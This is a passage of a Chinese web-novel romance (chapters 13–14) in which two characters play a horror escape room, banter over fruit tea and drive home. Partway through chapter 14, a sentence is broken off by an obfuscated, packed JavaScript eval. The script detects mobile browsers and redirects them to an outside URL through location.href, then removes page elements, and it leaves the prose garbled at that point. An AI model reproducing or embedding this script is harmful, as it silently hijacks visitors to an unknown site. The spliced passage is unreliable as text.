黑暗会让人的感官更加敏锐，隐约中他嗅到一丝很淡很轻的茉莉清香。 像醉今朝再见那晚她靠过来带起的香。 属于她的。 13. 第 13 章 13 周遭昏暗，密室静得落针可闻。 随着外面的脚步声越发靠近，黎姝也越发紧张起来，甚至能感受到自己心跳加快的怦怦。 她盯着门口的方向，却察觉到来自身侧的异样。很轻很轻的呼吸，却重。留心观察之后却没有，像是幻觉。 在视线受阻后，人的其他感官会变得比平时更加敏锐。她辨别出方才捕捉到异样来源自陈叙州。 黎姝回头，压着声线小声问道：“你不会是害怕了吧？” 她之前看过密室类综艺，有的明星平时成熟稳重，结果灯一关就开始嗷嗷大叫，甚至还有给观众拜早年的。 极具反差感和看头，特别好玩。 念及此，她心底升起小小的期待，连带着浅浅的小梨涡又抿了出来。 虽然室内灯光关了，但还有照明标本的灯带，她眼中希冀的好事情绪暴露无疑。 回神的陈叙州:“……” 他沉默半瞬，拇指捻磨着手心残留的余温，喉咙里滚出一个单音，啊，“我要说是，你会怎么样？” “真的啊！”没想到他竟然承认了，黎姝惊讶，“那你还敢来玩密室。” “不是你拉我来的吗？”陈叙州闲靠着架子反问，嘴角却勾着，语气却幽幽，“现在倒反过来嘲笑了。” 黎姝：“……” 这事她确实理亏。听出他话音里要求负责的意思，她嘴角微抽，小说道歉:“骚瑞，忘了，我的锅。” 她竖起三根手指作保:“那你放心，既然是我带你进来的一定带你出去。你就跟着我——” 砰—— 余下的话戛然而止在外面npc锤门的一棍上。 摇摇欲坠的道具门被振得哐嘡响，另外两个女生吓得失声啊叫。 npc粗砾的男声随之响起。 “别躲了，我知道你们在里面。现在乖乖得出来我会既往不咎替你们跟校长求情，等我把你们抓出来就不是这样好说话了。” 说一句话就砰砰重砸一次门。 陈叙州揉了揉被音波冲击的耳膜，收回视线想继续逗她，目光一定。 混沌的视线下。她宛如一块石像失了生动，垂在腿侧的手紧紧握成拳头，整个人小幅度颤抖。嘴皮张合喃喃自语。 “？” 陈叙州神色一顿。 npc砸门和两个女生尖叫声交织让小小的标本室嘈杂。陈叙州听不清她说的什么，上前才终于听清。 反反复复表达痛一个意思，“滚！”“走开”，声线抖到带出了颤音。 “……” 怕成这样到底刚才到底是哪里来的自信说罩着他的？ 要强这点倒是没变。 陈叙州觉得好笑，虽然不道德但是还是忍不住清笑了两声，抬手去碰她，“这点胆子就不要说大话了。” 语气稍缓，带了几分安抚，“怕什么？我不是在吗。” 胳膊被不设防握住，微微泛凉的力道将她从回忆里拽回来。 黎姝恍惚抬眸对上他低垂的目光，心脏骤然漏拍，尔后咚咚直跳。 陈叙州见她瞳孔聚焦了，松开手，打开手电，说道:“看来今天不太有可能享受到你的保护了。” 尔后收起漫不经心，打开手电在夜色里环视着，也不指望三个被吓坏的女生能找线索，她们现在估计连站起来都困难。自顾自从架子里翻找起来。 黎姝沉默地揪着他颀长的背影，那种无能为力的窒息感才缓缓散去。 她深吸口气，平复着情绪走至他身侧一起找。 门外的npc尽职尽责砸了会儿门见里面的人不出来，留下几句威胁就离开了。 标本室再度恢复安静。 其他两个女生小心翼翼听了会儿见npc走了，才谨慎地跟着一起找。 几个人分头找，到第二个标本架的时候，在一个泡着类似脑骨一样的玻璃器皿里翻到了张卡，上面贴着一张标签纸，写着六位数密码。 陈叙州伸手捞下罐子，掏出卡，趁着npc还没折返回来，开门，刚欲回头叫她们，发现黎姝已经 陈叙州开了门往外面探了一圈，确定没人后回头叫她们出来。 “找到密码了？” 黎姝恢复过来了，和另外两个女生挨在一起跟在陈叙州后面，手放在两人的肩上呈保护的姿势。 陈叙州视线移到她脸上，“复活过来了？” 黎姝回头安慰着直发妹妹，闻言回首啊一声，“什么？” 陈叙州笑笑，正要说话，走廊另一端传来催促的尖叫，接着分开的另一队成员葱拐口冒出速朝他们飞奔而过来。 “走走走，快跑！” “？？？” 黎姝还没反应过来，手腕一紧，已经被拽走了。 她手上拉着一个小姑娘的领口，小姑娘又抓着另一个，几个人就一个接一接像挂藤上的葫芦娃逃跑。 “姐姐，你勒着我——” “谁他妈拽我裤子啊，松开！” “门门门，密码密码密码！” 铁门前十个人挤成一团，互相推搡着，有密码卡的另一个男生被推到电门前，结果太紧张把卡整掉了，又不知道被谁踢了一脚，写着六位数密码的卡通过地门缝划到了对面。 “都喊不要挤了，这会儿遭求了噻。” “啊啊啊保安啊要来了，咋办哦。” 再次吵起来吗，黎姝想起陈叙州也找到了密码，扭头想找他，却见他手臂一抬，长手穿越铁栅栏前的几颗争吵的人头摸到密码盘，滴滴滴输入密码。 “咔哒”一声，门锁打开。 他不以为意地收回手，“别堵在门口了，快点。” 黎姝：“……” 手好长。 而还在掰头的几人一看，反应迅速地推开门，迅速穿过去顺手锁门，着急忙慌进入下一个密室。 和前面的三个密室不同，接下来宿舍楼和医护室都开启了地狱模式，尤其是宿舍楼有恐怖元素，一群人被突然出现的人脸吓得娃娃乱叫，甚至还有当场下跪的抱大腿的。 相比之下，淡定找出口的黎姝和陈叙州平静得像两个局外人。 陈叙州好奇得盯着黎姝。她有察觉，在黑暗黎对上他打量的目光。心头一震，狐疑道：“怎么了？” “你好像不害怕？” 黎姝理所当然：“都是假的有什么好怕的。” 面前的镜子浮现出一张满是鲜血，180扭着身子咔咔笑的脸，陈叙州视若无睹地继续在旁边搜索着，听到她的回答，长眉微挑，再度侧目，话语中带了点笑，“标本室里你可不是这样说的。” 黎姝沉默，几息后才说：“那不一样，鬼是鬼，人是人。” 她没见过鬼，所以无从得知是否伤人，但人就不一定了。 陈叙州没听出她的言外之意，只单纯的以为让她也是那种质疑人性的，不再说什么只有看了她一眼。 于是整间医务室就自动切分成了两部分两个空间，致力找出口，对任何惊吓都波澜不惊的和吓到趴在地上叫妈妈的六人组。 惨不忍睹的场景让黎姝很是兴起，于是她悄悄加入了到了npc一方扮鬼开始痛击我方同伴，不过专挑男的下手，这个肩膀拍拍，那个戳戳吃，或是扯开头发，捞到前面贴脸开大。 她玩嗨了，以为处在黑暗里没人看见，殊不知她的所作所为都尽收陈叙州眼底。 所以当她贴身靠近，想要偷袭陈叙州反而被他抓住手腕吓了一跳。 抬眸对上一双好整以暇的笑眼， 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此刻，她非常庆幸是在关灯的环境下，耳边有鬼哭狼嚎声，不然她心虚的神情会被看到，无以为对的沉默也将振聋发聩。 她呵呵干笑了声，理直气壮：“你都看过我丢脸的样子了，那我想拽你个把柄相互威胁不是很正常吗。没想到被发现了。” 当然还有一点小小的好奇。 她很想知道他这样风光霁月的人被吓得得哭爹喊娘是什么样。 虽然她后一句是嘀咕出声的，但陈叙州还是捕捉到了。 “……” 他哼了声，没好气道：“你还挺会未雨绸缪。” 黎姝当是夸奖了，清笑了两声向他发出邀请，小声说道：“挺有意思的，一起。” 陈叙州：“……” 感受到身侧跃跃欲试的点电波，陈叙州默了默，有几分意外，他意味深长地说：“黎姝，你挺让人意外。” 尖叫声太吵，黎姝没太听清：“啊？什么？” 陈叙州凭着感觉拉住她的手说：“找到开关了。” 黎姝遗憾哦。 门打开后，一群人争先恐后地逃出医务室外外面走廊跑，校长带领保安在后买呢穷追不舍，在一波接一波的惊吓后，终于在教务处找到隐藏的通道，刷卡逃了出来。 灯光由暗转明，逃脱结束。 之前跟着黎姝和陈叙州一屋的两个女孩出来后直接跪坐在地上，被吓得小脸苍白，她们边上同样还有来两个男生估计也被吓狠了，嘴里国粹连连。 离开去储藏柜取物品时黎姝听到背后的工作人员在巴拉巴拉讲规则，大致和他们进去时说的差不多，只多一条“不提倡玩家把私人恩怨带到密室里以吓唬同伴为报复。” “……” 黎姝明显感觉到说到这话时，身侧有目光落了过来。 她迟疑扭头对上陈叙州恍然的神色，哽了下，举手为自己洗刷嫌疑：“我发誓，我绝对没有他说的报复想法！” “我也没说什么，你这么紧张干什么。”他取出叠放在柜子里的外套，抖了抖外套折起挽胳膊上，掀开眼皮漫不经心道。 “……我没紧张。“反手合上柜子门，黎姝道，“就是……解释下免得你误会。” 陈叙州点头，平淡说哦。 黎姝蹙眉，“你不信啊？” 陈叙州说：“信。” “可你的表情不太像。” 他脚步收住在楼梯上停下，阶梯的高度弥补了两人间的身高差，陈叙州平视着她明艳的脸：“那你想让我信还是不信？ 14. 第 14 章 14 巷子里熙熙攘攘人来人往，路旁的照明晃过温柔的暖光。 剧烈运动后人体水分流失迅速，喉咙干涩。出了密室楼后，两人到附近奶茶店买水。 两杯蜜桃果柠茶，一杯五分糖一杯正常。五分的是她的，而正常糖他的。 上次点奶茶时听他要全糖就让她惊讶了，没想到看起来冷欲无求的他竟然噬甜。 她接过果茶递给他的时候，忽然想起网上一个很火的奶茶糖分揭秘视频。说其实不额外加糖的果茶含糖量就已经抵得上奶茶全糖了。 他这种正常糖的就跟直接喝糖浆没什么差别了。 黎姝提起这个视频内容，打趣道：“喝那么甜，小心得糖尿病哦。” 陈叙州接过吸管插上，扫了眼她杯中贴订单标签的地方，抬眉，“五分糖的你好像比我好不了多少，不过是五十步笑百步。” 他喝了几口，挑眉说:“退一万步讲真得了糖尿病不还有你吗？” 黎姝莫名：“有我什么事啊？” “怎么不关你的事？”他从容说道，“我最近喝的奶茶都是你点的，诱因在你。” “？？” “我才给你点过几次啊，不要把所有锅都甩我好吗。”黎姝冤枉，表示背太轻承担不了这么重的锅，“难道你平时都不会点奶茶吗？” 陈叙州说会，“但是很少，大概半年都难得点一次。” 回忆了下，补充:“而这个月已经三杯了。” 黎姝:“……” “很巧，都是你点的。”他继续，“我有理由怀疑这是一起预谋已久的作案。” “根据我国刑法第234条，故意伤害他人身体的当以故意伤害罪判处三年以下有期徒刑、拘役或者管制。” “……” 酸甜舒口的果茶这一刻在嘴里涩得发苦，黎姝被法律条例摁得目瞪口呆。 她也是贱啊，怎么就总要不长记性非去撩一个从事法律相关的工作者呢。 她吸两口沉吟伸手：“要不你还是把果茶还我吧，我想留点清白在人间，免得为十几块钱把自己搭进去不说影响后代考公。” “……” 陈叙州眼尾扫过来说：“你想得还挺远的，但是请允许我提醒下没记错的划这两杯奶茶都是我付的账。” “你确定你好意思拿走？” ……太不好意思了 黎姝伸出去的手僵停，眼皮抽搐了下。 受他话术影响一时忘了谁才是那个附带的，她深吸了口气，思维活络转动过后顺势多眨了两下眼说：“开个玩笑，我是想问你有没有纸，眼睛好像进东西了。” 说着挤眉又眨几下，做出一副难受样增加可信度。 陈叙州自然看出她的顾左右而言他，眼底溢出几分笑，腾出手往裤袋里摸索，说：“没有，车里有。” 黎姝佯装失望地啊了声，撇过头去，背着他吐了口浊气转回来笑说没事了。 由于刚才的失意，黎姝一时不敢随意开口，并肩着走行十几米，她还是没忍住想板回一局，再次出声，“奶茶是你请的，那我是不是可以反过来讹诈你。” “……” 一路上都没说话，陈叙州还在困惑怎么突然沉默了，原来在复盘呢。 他转首望着她，不由自主去推测她参加竞赛完是不是也有那么一个瞬间曾这样不甘。 “怎么不说话了？”黎姝见他走神，手在他跟前挥了挥。 陈叙州回神，视线移动到她的脸上，敛下波动的情绪，慢条斯理地说：“你要是想，记得保留证据。” 黎姝：“……” 她错了，真的错了！ 果然人不能太闲，不然总有莫名的冲动不自量力去挑战别人的专业领域。 这一次，到回到停车场她都没再开过口。 上车时她习惯性地走去开后车门，拉了两次都没拉开，想着应该是还没解锁正候着，副驾驶的车窗降了下来。 还未开口陈叙州说：“坐前面来。” 黎姝犹豫。 副驾驶在当今社会算是女朋友的专属，虽然他没有女朋友，再虽然她也有想当人女朋友的心思，但没有车主人的首肯，她识趣得坐在后面。 还纠结着，他又说道：“前面有纸巾，你刚不是在找？” 台阶都建到脚底下了，黎姝就势而上，开门坐上去。 轿车驶出停车场平稳拐入主街驶在道路上。 黎姝翻看着手机，没什么新消息，只有三个妹妹打来没接的电话。 她今天已经打了几次电话了，黎姝怕有什么情况表回拨了过去。 铃声响了半首歌的时间才终于被接通。 “喂，姐。” 她声音压得有点低，估计是找了个适合的地方窸窸窣窣的几声脚步过后，再开口音量已经正常了：“我之前给你打电话怎么一直打不通啊。” “玩密室去了。怎么了？” 黎玥：“我们这周五下午三点半开家长会，你来吗好不好？” 开家长会不叫爸妈去反而叫她，黎姝扬眉，“又干什么好事了？不会让我去挨骂吧。” 每次她被单独请家长都不敢叫父母。 “我发誓，我这回真的没做什么。”黎玥下意伸出四指朝天，反应过来姐姐看不到收回来底气不足的心虚道，“就是我们半期成绩出来了，我考得有一点点不好，王老师让你单独去见他。” “……” 那还不是去挨骂。 “姐，求你啦，只要你肯来我就不计较你把我送你的生日礼物弄丢了。” 黎姝呵了声。 还奇怪上次回家她怎么没闹，搞半天是为了这一刻。 “少拿这个来威胁我，你那徽章没丢。”但如果是因为成绩问题倒不大了，黎姝思忖了下回说，“我能来就来，来不了我会给妈打电话让她去的。” 黎玥悲惨地哀嚎了一声，又不免好奇：“可你之前不是说掉了吗，又找回来了？” 黎姝嗯，扭头瞥了眼目不斜视开车的某人，语焉不详地应付说被一个好心人捡回来了，而后说：“挂了。” 收线刚挂掉电话拿下来，耳边就冷不丁响起了询问：“好心人是指我？” 黎姝手臂抵着车窗托着脸，嗯：“我妹的电话，周五学校开家长会考差了不敢叫爸妈，拿我弄丢徽章的事讲条件呢。” 微信收到黎玥发的一张双手合十含泪说“拜托拜托”的表情包。 黎姝无奈一边回她一边说：“小丫头片子，一天天的心眼多得很。” 嘴上吐着槽，嘴角却扬着笑。 陈叙州抬眉，余光撇过去：“多大了？” 明白问的是小玥的年龄，黎姝道：“十七，下学期就高三了。” “还是二中？” “南中。”黎姝回完突然记起，转过来面去，“我记得你好像也是南中的吧。哎——那你还是她学长欸。” 气温入夏后，天气日见暖和。行道两侧的绿化树枝叶茂盛，被遮住的灯光摇曳出温柔的光。晚风吹起她蓬松的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649612|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发，后视镜里的倒映的女人浓颜色，精致的眉眼里透着几分灵动。 有若有似无的香味在空气里飘散着，很浅很轻的茉莉味，随着她说的话挥发在耳边。 陈叙州耳根无端发麻，握着方向盘的凝顿了下。 遇上红灯，他降低车速停在奥迪后面，低着前面车内打闹的身影看了看，继而侧眸迎上她调笑的目光，喉咙滑动，悠悠应了声。 “？” 黎姝“我说的是你是我妹又不是你学妹你哎啥，占我便宜唆！” “怎么不是？” “怎么就是了？” 陈叙州手臂随意的搭在方向盘上，食指无规律地敲着，目视着前面路况：“她不是你妹妹吗。既然是姐妹，那她的学长和你的学长有区别？” 扭头扫她，“数学这么好，不会连等式的基本兴致都不记得了吧。” “……” 黎姝被他一手捧杀搞得语塞，同时也一脸问号。 又关数学什么事啊？ 她回忆着八百年前学习的内容……好像是什么对称性传递性还有—— 等会儿！ 当“传递性”三个字从脑海中闪过瞬间她突然福至心灵。随后不可置信的、犹豫地瞪眼望向陈叙州。因为错愕都舌头都差点打结，欲说无语，车都开动且已经过了路口才找回声音蹦出一句：“等式的传递性是这么用的吗？” “不然呢？”他心情颇好，热心普法，“民法典规定不满十八周岁的自然人为未成年。你作为妹妹的监护人之一在法律上即代表她。按传递性我既然是她的学长，自然也算你的。” “……你真能说。” 黎姝甘拜下风。 她相信在法庭上检察官和律师会干架了，不然这么溜的嘴和钻空子一流的反应光靠规规矩矩照本宣科真练不出来。 之后的一路上，黎姝非常识趣地闭麦，并且好心告诫方馨冉没事别惹跟法律沾边的人士。 方馨冉：【有故事？】 黎姝：【嘘，社会上的事少打听！】 问就是她一个见人说人话见鬼说鬼话的说得一嘴漂亮话的人竟然没在对方嘴上讨得一分赢面，挺丢脸的。 * 到小区门口。 黎姝边解安全带下车边和他道别说客气话叮嘱回去慢点。 陈叙州嗯，见她合上门等他走，提眉，叫她名字，“黎姝。” 黎姝以为他有话要说，不明所以地啊了声，踱步回来屈身询问：“怎么了？” 他车停在小区地下停车场入口靠左上去一点，正好是路灯下面。 岸边行人道上栽种的行道树枝繁叶茂，绿叶成荫，将灯光切碎抖落。 他坐在车里，被安全带限制行动的身体隔着副驾驶的空座位倾身侧轧向这边，清俊隽朗的面容被昏黄的光划分成阴暗两半。 一双眼隐在黑暗里沉似琥珀，也依旧亮得让人陷落、心跳如鼓。 “你是不是忘了什么？”他出声，嘴角勾着。 耳膜里的心跳声太响，黎姝反应迟钝地慢了两拍，她垂眸轻眨了两下眼缓过悸动，闻言头一偏唇间溢出疑惑的单音节。 “嗯？” 被成顶切开的光线有些刺眼，他不适地眯了眯眼，而后俯身趴上搭在方向盘的手臂，整张脸都露在光里，眉眼深邃，唇角笑意再度爬上眼角。 “好歹送你到门口了，连句再见都不说吗？”他说得轻慢，清磁的声音里散漫出一点点可察觉的笑意，一字一顿。 “学、妹。”